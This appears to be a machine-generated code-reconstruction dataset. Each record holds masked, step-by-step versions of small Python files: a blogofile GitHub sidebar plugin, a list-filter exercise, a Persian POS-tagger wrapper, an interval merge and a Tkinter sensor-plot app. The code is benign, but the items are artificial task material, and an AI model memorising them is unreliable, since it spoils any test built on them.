{ "blob_id": "ee2cf6c472fa955ba3718bf3a3f60b66811b4907", "index": 4705, "step-1": "<mask token>\n\n\ndef get_list(user):\n \"\"\"\n Each item in the list has:\n name, url, description, forks, watchers, homepage, open_issues\n\n \"\"\"\n return [g for g in github_api.repos.list(user) if not g.fork]\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef get_list(user):\n \"\"\"\n Each item in the list has:\n name, url, description, forks, watchers, homepage, open_issues\n\n \"\"\"\n return [g for g in github_api.repos.list(user) if not g.fork]\n\n\ndef run():\n github.logger = logging.getLogger(config['name'])\n github.repo_list = get_list(github.user)\n github.full_repo_list = github_api.repos.list(github.user)\n", "step-3": "<mask token>\ngithub = bf.config.controllers.github\n<mask token>\ngithub_api = Github()\nconfig = {'name': 'Github', 'description':\n 'Makes a nice github project listing for the sidebar', 'priority': 95.0}\n\n\ndef get_list(user):\n \"\"\"\n Each item in the list has:\n name, url, description, forks, watchers, homepage, open_issues\n\n \"\"\"\n return [g for g in github_api.repos.list(user) if not g.fork]\n\n\ndef run():\n github.logger = logging.getLogger(config['name'])\n github.repo_list = get_list(github.user)\n github.full_repo_list = github_api.repos.list(github.user)\n", "step-4": "import logging\nfrom blogofile.cache import bf\ngithub = bf.config.controllers.github\nfrom github2.client import Github\ngithub_api = Github()\nconfig = {'name': 'Github', 'description':\n 'Makes a nice github project listing for the sidebar', 'priority': 95.0}\n\n\ndef get_list(user):\n \"\"\"\n Each item in the list has:\n name, url, description, forks, watchers, homepage, open_issues\n\n \"\"\"\n return [g for g in github_api.repos.list(user) if not g.fork]\n\n\ndef run():\n github.logger = logging.getLogger(config['name'])\n github.repo_list = get_list(github.user)\n github.full_repo_list = github_api.repos.list(github.user)\n", "step-5": "import logging\n\nfrom blogofile.cache import bf\ngithub = bf.config.controllers.github\n\nfrom github2.client import Github\ngithub_api = Github()\n\nconfig = {\n \"name\": \"Github\",\n \"description\": \"Makes a nice github project listing for the sidebar\",\n \"priority\": 95.0,\n }\n\ndef get_list(user):\n \"\"\"\n Each item in the list has:\n name, url, description, forks, watchers, homepage, open_issues\n\n \"\"\"\n return [g for g in github_api.repos.list(user) if not g.fork]\n\n\ndef run():\n github.logger = logging.getLogger(config['name'])\n github.repo_list = get_list(github.user)\n github.full_repo_list = github_api.repos.list(github.user)\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print('oi') <|reserved_special_token_1|> from ShazamAPI import Shazam import json import sys print('oi') <|reserved_special_token_1|> from ShazamAPI import Shazam import json import sys print("oi")
flexible
{ "blob_id": "c248d653556ecdf27e56b57930832eb293dfd579", "index": 5413, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint('oi')\n", "step-3": "from ShazamAPI import Shazam\nimport json\nimport sys\nprint('oi')\n", "step-4": "from ShazamAPI import Shazam\nimport json\nimport sys\n\nprint(\"oi\")\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
# Представлен список чисел. # Необходимо вывести элементы исходного списка, # значения которых больше предыдущего элемента. from random import randint list = [] y = int(input("Введите количество элементов в списке>>> ")) for i in range(0, y): list.append(randint(1, 10)) new = [el for num, el in enumerate(list) if list[num - 1] < list[num]] print(f"Исходный список: {list}") print(f"Новый список список: {new}")
normal
{ "blob_id": "bfc4f5e90b7c22a29d33ae9b4a5edfb6086d79f4", "index": 2344, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in range(0, y):\n list.append(randint(1, 10))\n<mask token>\nprint(f'Исходный список: {list}')\nprint(f'Новый список список: {new}')\n", "step-3": "<mask token>\nlist = []\ny = int(input('Введите количество элементов в списке>>> '))\nfor i in range(0, y):\n list.append(randint(1, 10))\nnew = [el for num, el in enumerate(list) if list[num - 1] < list[num]]\nprint(f'Исходный список: {list}')\nprint(f'Новый список список: {new}')\n", "step-4": "from random import randint\nlist = []\ny = int(input('Введите количество элементов в списке>>> '))\nfor i in range(0, y):\n list.append(randint(1, 10))\nnew = [el for num, el in enumerate(list) if list[num - 1] < list[num]]\nprint(f'Исходный список: {list}')\nprint(f'Новый список список: {new}')\n", "step-5": "# Представлен список чисел.\n# Необходимо вывести элементы исходного списка,\n# значения которых больше предыдущего элемента.\nfrom random import randint\n\nlist = []\ny = int(input(\"Введите количество элементов в списке>>> \"))\nfor i in range(0, y):\n list.append(randint(1, 10))\n\nnew = [el for num, el in enumerate(list) if list[num - 1] < list[num]]\nprint(f\"Исходный список: {list}\")\nprint(f\"Новый список список: {new}\")\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class StanfordPOSTagger(stanford.StanfordPOSTagger): <|reserved_special_token_0|> def __init__(self, model_filename, path_to_jar, *args, **kwargs): self._SEPARATOR = '/' super(stanford.StanfordPOSTagger, self).__init__(*args, model_filename=model_filename, path_to_jar=path_to_jar, **kwargs) <|reserved_special_token_0|> def tag_sents(self, sentences): refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences) return super(stanford.StanfordPOSTagger, self).tag_sents(refined) <|reserved_special_token_1|> <|reserved_special_token_0|> class StanfordPOSTagger(stanford.StanfordPOSTagger): """ >>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar') >>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.']) [('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')] """ def __init__(self, model_filename, path_to_jar, *args, **kwargs): self._SEPARATOR = '/' super(stanford.StanfordPOSTagger, self).__init__(*args, model_filename=model_filename, path_to_jar=path_to_jar, **kwargs) def tag(self, tokens): return self.tag_sents([tokens])[0] def tag_sents(self, sentences): refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences) return super(stanford.StanfordPOSTagger, self).tag_sents(refined) <|reserved_special_token_1|> <|reserved_special_token_0|> class POSTagger(SequenceTagger): """ >>> tagger = POSTagger(model='resources/postagger.model') >>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.']) [('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')] """ class StanfordPOSTagger(stanford.StanfordPOSTagger): """ >>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar') >>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.']) [('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')] """ def __init__(self, model_filename, path_to_jar, *args, **kwargs): self._SEPARATOR = '/' super(stanford.StanfordPOSTagger, self).__init__(*args, model_filename=model_filename, path_to_jar=path_to_jar, **kwargs) def tag(self, tokens): return self.tag_sents([tokens])[0] def tag_sents(self, sentences): refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences) return super(stanford.StanfordPOSTagger, self).tag_sents(refined) <|reserved_special_token_1|> from __future__ import unicode_literals from nltk.tag import stanford from .SequenceTagger import SequenceTagger class POSTagger(SequenceTagger): """ >>> tagger = POSTagger(model='resources/postagger.model') >>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.']) [('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')] """ class StanfordPOSTagger(stanford.StanfordPOSTagger): """ >>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar') >>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.']) [('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')] """ def __init__(self, model_filename, path_to_jar, *args, **kwargs): self._SEPARATOR = '/' super(stanford.StanfordPOSTagger, self).__init__(*args, model_filename=model_filename, path_to_jar=path_to_jar, **kwargs) def tag(self, tokens): return self.tag_sents([tokens])[0] def tag_sents(self, sentences): refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences) return super(stanford.StanfordPOSTagger, self).tag_sents(refined) <|reserved_special_token_1|> # coding: utf8 from __future__ import unicode_literals from nltk.tag import stanford from .SequenceTagger import SequenceTagger class POSTagger(SequenceTagger): """ >>> tagger = POSTagger(model='resources/postagger.model') >>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.']) [('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')] """ class StanfordPOSTagger(stanford.StanfordPOSTagger): """ >>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar') >>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.']) [('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')] """ def __init__(self, model_filename, path_to_jar, *args, **kwargs): self._SEPARATOR = '/' super(stanford.StanfordPOSTagger, self).__init__(model_filename=model_filename, path_to_jar=path_to_jar, *args, **kwargs) def tag(self, tokens): return self.tag_sents([tokens])[0] def tag_sents(self, sentences): refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences) return super(stanford.StanfordPOSTagger, self).tag_sents(refined)
flexible
{ "blob_id": "1ac3630e6433a2d11c716b558640cab7c559f6ba", "index": 4483, "step-1": "<mask token>\n\n\nclass StanfordPOSTagger(stanford.StanfordPOSTagger):\n <mask token>\n\n def __init__(self, model_filename, path_to_jar, *args, **kwargs):\n self._SEPARATOR = '/'\n super(stanford.StanfordPOSTagger, self).__init__(*args,\n model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)\n <mask token>\n\n def tag_sents(self, sentences):\n refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)\n return super(stanford.StanfordPOSTagger, self).tag_sents(refined)\n", "step-2": "<mask token>\n\n\nclass StanfordPOSTagger(stanford.StanfordPOSTagger):\n \"\"\"\n\t>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n def __init__(self, model_filename, path_to_jar, *args, **kwargs):\n self._SEPARATOR = '/'\n super(stanford.StanfordPOSTagger, self).__init__(*args,\n model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)\n\n def tag(self, tokens):\n return self.tag_sents([tokens])[0]\n\n def tag_sents(self, sentences):\n refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)\n return super(stanford.StanfordPOSTagger, self).tag_sents(refined)\n", "step-3": "<mask token>\n\n\nclass POSTagger(SequenceTagger):\n \"\"\"\n\t>>> tagger = POSTagger(model='resources/postagger.model')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n\nclass StanfordPOSTagger(stanford.StanfordPOSTagger):\n \"\"\"\n\t>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n def __init__(self, model_filename, path_to_jar, *args, **kwargs):\n self._SEPARATOR = '/'\n super(stanford.StanfordPOSTagger, self).__init__(*args,\n model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)\n\n def tag(self, tokens):\n return self.tag_sents([tokens])[0]\n\n def tag_sents(self, sentences):\n refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)\n return super(stanford.StanfordPOSTagger, self).tag_sents(refined)\n", "step-4": "from __future__ import unicode_literals\nfrom nltk.tag import stanford\nfrom .SequenceTagger import SequenceTagger\n\n\nclass POSTagger(SequenceTagger):\n \"\"\"\n\t>>> tagger = POSTagger(model='resources/postagger.model')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n\nclass StanfordPOSTagger(stanford.StanfordPOSTagger):\n \"\"\"\n\t>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n def __init__(self, model_filename, path_to_jar, *args, **kwargs):\n self._SEPARATOR = '/'\n super(stanford.StanfordPOSTagger, self).__init__(*args,\n model_filename=model_filename, path_to_jar=path_to_jar, **kwargs)\n\n def tag(self, tokens):\n return self.tag_sents([tokens])[0]\n\n def tag_sents(self, sentences):\n refined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)\n return super(stanford.StanfordPOSTagger, self).tag_sents(refined)\n", "step-5": "# coding: utf8\n\nfrom __future__ import unicode_literals\nfrom nltk.tag import stanford\nfrom .SequenceTagger import SequenceTagger\n\n\nclass POSTagger(SequenceTagger):\n\t\"\"\"\n\t>>> tagger = POSTagger(model='resources/postagger.model')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n\nclass StanfordPOSTagger(stanford.StanfordPOSTagger):\n\t\"\"\"\n\t>>> tagger = StanfordPOSTagger(model_filename='resources/persian.tagger', path_to_jar='resources/stanford-postagger.jar')\n\t>>> tagger.tag(['من', 'به', 'مدرسه', 'رفته_بودم', '.'])\n\t[('من', 'PRO'), ('به', 'P'), ('مدرسه', 'N'), ('رفته_بودم', 'V'), ('.', 'PUNC')]\n\t\"\"\"\n\n\tdef __init__(self, model_filename, path_to_jar, *args, **kwargs):\n\t\tself._SEPARATOR = '/'\n\t\tsuper(stanford.StanfordPOSTagger, self).__init__(model_filename=model_filename, path_to_jar=path_to_jar, *args, **kwargs)\n\n\tdef tag(self, tokens):\n\t\treturn self.tag_sents([tokens])[0]\n\n\tdef tag_sents(self, sentences):\n\t\trefined = map(lambda s: [w.replace(' ', '_') for w in s], sentences)\n\t\treturn super(stanford.StanfordPOSTagger, self).tag_sents(refined)\n", "step-ids": [ 3, 5, 7, 8, 9 ] }
[ 3, 5, 7, 8, 9 ]
def merge(self, intervals): intervals.sort() arr = [] for i in intervals: if len(arr) == 0 or arr[-1][1] < i[0]: arr.append(i) else: arr[-1][1] = max(arr[-1][1], i[1]) return arr
normal
{ "blob_id": "a65dfca1773c1e4101ebfb953e0f617a2c345695", "index": 334, "step-1": "<mask token>\n", "step-2": "def merge(self, intervals):\n intervals.sort()\n arr = []\n for i in intervals:\n if len(arr) == 0 or arr[-1][1] < i[0]:\n arr.append(i)\n else:\n arr[-1][1] = max(arr[-1][1], i[1])\n return arr\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
<|reserved_special_token_0|> def show_humidity(): a.clear() a.plot(fds, humidity, 'b.--') a.set_ylabel('Humidity %', color='b') a.xaxis.set_major_formatter(hfmt) a.grid(color='blue') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('b') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('b') toolbar.update() f.canvas.draw() def show_light(): a.clear() a.plot(fds, light, 'g.--') a.set_ylabel('Ambient Light', color='g') a.xaxis.set_major_formatter(hfmt) a.grid(color='g') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('g') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('g') toolbar.update() f.canvas.draw() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def show_temp(): a.clear() a.plot(fds, temperature, 'r.--') a.set_ylabel('Temperature (Degrees Celsius)', color='r') a.xaxis.set_major_formatter(hfmt) a.grid(color='r') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('r') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('r') toolbar.update() f.canvas.draw() def show_humidity(): a.clear() a.plot(fds, humidity, 'b.--') a.set_ylabel('Humidity %', color='b') a.xaxis.set_major_formatter(hfmt) a.grid(color='blue') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('b') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('b') toolbar.update() f.canvas.draw() def show_light(): a.clear() a.plot(fds, light, 'g.--') a.set_ylabel('Ambient Light', color='g') a.xaxis.set_major_formatter(hfmt) a.grid(color='g') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('g') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('g') toolbar.update() f.canvas.draw() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> matplotlib.use('TkAgg') <|reserved_special_token_0|> data = loadtxt('data/data011c.txt', unpack=True, skiprows=1, comments='#') temperature = data[7] humidity = data[6] light = data[8] timer = data[9] year, month, day, hour, minute, second = data[0], data[1], data[2], data[3 ], data[4], data[5] date_times = [] for i in range(len(year)): date_times.append(str(int(day[i])).zfill(2) + '.' + str(int(month[i])). zfill(2) + '.' + str(int(year[i])) + ' ' + str(int(hour[i])).zfill( 2) + ':' + str(int(minute[i])).zfill(2) + ':' + str(int(second[i])) .zfill(2)) pattern = '%d.%m.%Y %H:%M:%S' epoch = [] for datetimes in date_times: epoch.append(int(time.mktime(time.strptime(datetimes, pattern)))) dts = map(datetime.datetime.fromtimestamp, epoch) fds = dates.date2num(dts) hfmt = dates.DateFormatter('%m/%d %H:%M') master = Tk() master.title('Room Sensor') master.geometry('1200x600') f = Figure(figsize=(9, 5), dpi=100) f.zorder a = f.add_subplot(111) dataPlot = FigureCanvasTkAgg(f, master) dataPlot.draw() dataPlot.get_tk_widget().place(x=240, y=40) toolbar = NavigationToolbar2TkAgg(dataPlot, master) toolbar.update() toolbar.place(x=240, y=560) def show_temp(): a.clear() a.plot(fds, temperature, 'r.--') a.set_ylabel('Temperature (Degrees Celsius)', color='r') a.xaxis.set_major_formatter(hfmt) a.grid(color='r') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('r') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('r') toolbar.update() f.canvas.draw() def show_humidity(): a.clear() a.plot(fds, humidity, 'b.--') a.set_ylabel('Humidity %', color='b') a.xaxis.set_major_formatter(hfmt) a.grid(color='blue') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('b') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('b') toolbar.update() f.canvas.draw() def show_light(): a.clear() a.plot(fds, light, 'g.--') a.set_ylabel('Ambient Light', color='g') a.xaxis.set_major_formatter(hfmt) a.grid(color='g') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('g') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('g') toolbar.update() f.canvas.draw() tempButton = PhotoImage(file='images/temp_button.gif') hmdButton = PhotoImage(file='images/hmd_button.gif') lightButton = PhotoImage(file='images/light_button.gif') tempIcon = PhotoImage(file='images/temp_icon.gif') hmdIcon = PhotoImage(file='images/hmd_icon.gif') lightIcon = PhotoImage(file='images/light_icon.gif') Button1 = Button(master, image=tempButton, command=show_temp, height=50, width=109) Button2 = Button(master, image=hmdButton, command=show_humidity, height=50, width=109) Button3 = Button(master, image=lightButton, command=show_light, height=50, width=109) Label1 = Label(master, image=tempIcon, height=50, width=50) Label2 = Label(master, image=hmdIcon, height=50, width=50) Label3 = Label(master, image=lightIcon, height=50, width=50) Button1.place(x=60, y=110) Button2.place(x=60, y=260) Button3.place(x=60, y=410) Label1.place(x=180, y=111) Label2.place(x=180, y=261) Label3.place(x=180, y=411) show_temp() master.mainloop() <|reserved_special_token_1|> import matplotlib, sys, datetime, time matplotlib.use('TkAgg') from math import * from numpy import * from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg from matplotlib.figure import Figure from matplotlib import dates import matplotlib.pyplot as plt from Tkinter import * data = loadtxt('data/data011c.txt', unpack=True, skiprows=1, comments='#') temperature = data[7] humidity = data[6] light = data[8] timer = data[9] year, month, day, hour, minute, second = data[0], data[1], data[2], data[3 ], data[4], data[5] date_times = [] for i in range(len(year)): date_times.append(str(int(day[i])).zfill(2) + '.' + str(int(month[i])). zfill(2) + '.' + str(int(year[i])) + ' ' + str(int(hour[i])).zfill( 2) + ':' + str(int(minute[i])).zfill(2) + ':' + str(int(second[i])) .zfill(2)) pattern = '%d.%m.%Y %H:%M:%S' epoch = [] for datetimes in date_times: epoch.append(int(time.mktime(time.strptime(datetimes, pattern)))) dts = map(datetime.datetime.fromtimestamp, epoch) fds = dates.date2num(dts) hfmt = dates.DateFormatter('%m/%d %H:%M') master = Tk() master.title('Room Sensor') master.geometry('1200x600') f = Figure(figsize=(9, 5), dpi=100) f.zorder a = f.add_subplot(111) dataPlot = FigureCanvasTkAgg(f, master) dataPlot.draw() dataPlot.get_tk_widget().place(x=240, y=40) toolbar = NavigationToolbar2TkAgg(dataPlot, master) toolbar.update() toolbar.place(x=240, y=560) def show_temp(): a.clear() a.plot(fds, temperature, 'r.--') a.set_ylabel('Temperature (Degrees Celsius)', color='r') a.xaxis.set_major_formatter(hfmt) a.grid(color='r') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('r') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('r') toolbar.update() f.canvas.draw() def show_humidity(): a.clear() a.plot(fds, humidity, 'b.--') a.set_ylabel('Humidity %', color='b') a.xaxis.set_major_formatter(hfmt) a.grid(color='blue') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('b') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('b') toolbar.update() f.canvas.draw() def show_light(): a.clear() a.plot(fds, light, 'g.--') a.set_ylabel('Ambient Light', color='g') a.xaxis.set_major_formatter(hfmt) a.grid(color='g') for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color('g') for tick in a.yaxis.get_major_ticks(): tick.label.set_color('g') toolbar.update() f.canvas.draw() tempButton = PhotoImage(file='images/temp_button.gif') hmdButton = PhotoImage(file='images/hmd_button.gif') lightButton = PhotoImage(file='images/light_button.gif') tempIcon = PhotoImage(file='images/temp_icon.gif') hmdIcon = PhotoImage(file='images/hmd_icon.gif') lightIcon = PhotoImage(file='images/light_icon.gif') Button1 = Button(master, image=tempButton, command=show_temp, height=50, width=109) Button2 = Button(master, image=hmdButton, command=show_humidity, height=50, width=109) Button3 = Button(master, image=lightButton, command=show_light, height=50, width=109) Label1 = Label(master, image=tempIcon, height=50, width=50) Label2 = Label(master, image=hmdIcon, height=50, width=50) Label3 = Label(master, image=lightIcon, height=50, width=50) Button1.place(x=60, y=110) Button2.place(x=60, y=260) Button3.place(x=60, y=410) Label1.place(x=180, y=111) Label2.place(x=180, y=261) Label3.place(x=180, y=411) show_temp() master.mainloop() <|reserved_special_token_1|> ## Import modules import matplotlib, sys, datetime, time matplotlib.use('TkAgg') from math import * from numpy import * from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg from matplotlib.figure import Figure from matplotlib import dates import matplotlib.pyplot as plt from Tkinter import * ## Load the data data = loadtxt("data/data011c.txt", unpack = True, skiprows=1, comments = '#') temperature = data[7] humidity = data[6] light = data[8] timer = data[9] year, month, day, hour, minute, second = data[0], data[1], data[2], data[3], data[4], data[5] ## Make empty are to append the formatted dates date_times = [] ## Format the dates to dd.mm.yyyy hh:mm:ss for i in range(len(year)): # can be the length of any arbitrary data set # this makes a nice long string of the "day.month.year hour:min:sec" date_times.append(str(int(day[i])).zfill(2) + "." + str(int(month[i])).zfill(2) + "." + str(int(year[i])) + " " + str(int(hour[i])).zfill(2) + ":" + str(int(minute[i])).zfill(2) + ":" + str(int(second[i])).zfill(2) ) ## String format of the date pattern = '%d.%m.%Y %H:%M:%S' ## Convert the list of date_times to epoch time in seconds epoch = [] for datetimes in date_times: epoch.append(int(time.mktime(time.strptime(datetimes, pattern)))) ## Convert epoch time to list of dateformatter objects dts = map(datetime.datetime.fromtimestamp, epoch) fds = dates.date2num(dts) hfmt = dates.DateFormatter('%m/%d %H:%M') ## Create interface object master = Tk() ## Set the title and size master.title("Room Sensor") master.geometry("1200x600") ## Create figure to add onto interface window f = Figure(figsize=(9,5), dpi=100,)# facecolor='black') ## Not sure what zorder does f.zorder ## within the figure create subplot called a a = f.add_subplot(111) ## Add figure onto interface window dataPlot = FigureCanvasTkAgg(f, master) dataPlot.draw() ## Turn figure into a widget dataPlot.get_tk_widget().place(x = 240, y = 40) ## Add plot toolbar widget toolbar = NavigationToolbar2TkAgg(dataPlot, master) toolbar.update() toolbar.place(x = 240, y = 560) ## Functions to switch between plots def show_temp(): ## Clear the figure a.clear() ## Plot the temperature ## a.plot(timer,temperature, "r.--") a.plot(fds,temperature, "r.--") a.set_ylabel("Temperature (Degrees Celsius)", color = "r") a.xaxis.set_major_formatter(hfmt) a.grid(color = "r") ## a.set_ylim([20.0,30.0]) for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color("r") for tick in a.yaxis.get_major_ticks(): tick.label.set_color("r") ## Reset the toolbar toolbar.update() f.canvas.draw() def show_humidity(): a.clear() a.plot(fds,humidity, "b.--") a.set_ylabel("Humidity %", color = "b") a.xaxis.set_major_formatter(hfmt) a.grid(color = "blue") for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color("b") for tick in a.yaxis.get_major_ticks(): tick.label.set_color("b") toolbar.update() f.canvas.draw() def show_light(): a.clear() a.plot(fds,light, "g.--") a.set_ylabel("Ambient Light", color = "g") a.xaxis.set_major_formatter(hfmt) a.grid(color = "g") for tick in a.xaxis.get_major_ticks(): tick.label.set_fontsize(7) tick.label.set_rotation(15) tick.label.set_color("g") for tick in a.yaxis.get_major_ticks(): tick.label.set_color("g") toolbar.update() f.canvas.draw() ## Load icon and button images tempButton = PhotoImage(file="images/temp_button.gif") hmdButton = PhotoImage(file="images/hmd_button.gif") lightButton = PhotoImage(file="images/light_button.gif") tempIcon = PhotoImage(file="images/temp_icon.gif") hmdIcon = PhotoImage(file="images/hmd_icon.gif") lightIcon = PhotoImage(file="images/light_icon.gif") ## Create button widgets Button1 = Button(master, image = tempButton, command = show_temp, height = 50, width = 109) Button2 = Button(master, image = hmdButton, command = show_humidity, height = 50, width = 109) Button3 = Button(master, image = lightButton, command = show_light, height = 50, width = 109) ## Create labels Label1 = Label(master, image = tempIcon, height = 50, width = 50) Label2 = Label(master, image = hmdIcon, height = 50, width = 50) Label3 = Label(master, image = lightIcon, height = 50, width = 50) ## Place the buttons and labels to specific location Button1.place(x=60,y=110) Button2.place(x=60,y=260) Button3.place(x=60,y=410) Label1.place(x=180, y=111) Label2.place(x=180, y=261) Label3.place(x=180, y=411) ## Start with the temperature graph showing show_temp() ## Run the main interface loop master.mainloop()
flexible
{ "blob_id": "2de12085ddc73fed85dda8ce3d6908b42fdc4bcc", "index": 3046, "step-1": "<mask token>\n\n\ndef show_humidity():\n a.clear()\n a.plot(fds, humidity, 'b.--')\n a.set_ylabel('Humidity %', color='b')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='blue')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('b')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('b')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_light():\n a.clear()\n a.plot(fds, light, 'g.--')\n a.set_ylabel('Ambient Light', color='g')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='g')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('g')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('g')\n toolbar.update()\n f.canvas.draw()\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef show_temp():\n a.clear()\n a.plot(fds, temperature, 'r.--')\n a.set_ylabel('Temperature (Degrees Celsius)', color='r')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='r')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('r')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('r')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_humidity():\n a.clear()\n a.plot(fds, humidity, 'b.--')\n a.set_ylabel('Humidity %', color='b')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='blue')\n for tick in a.xaxis.get_major_ticks():\n 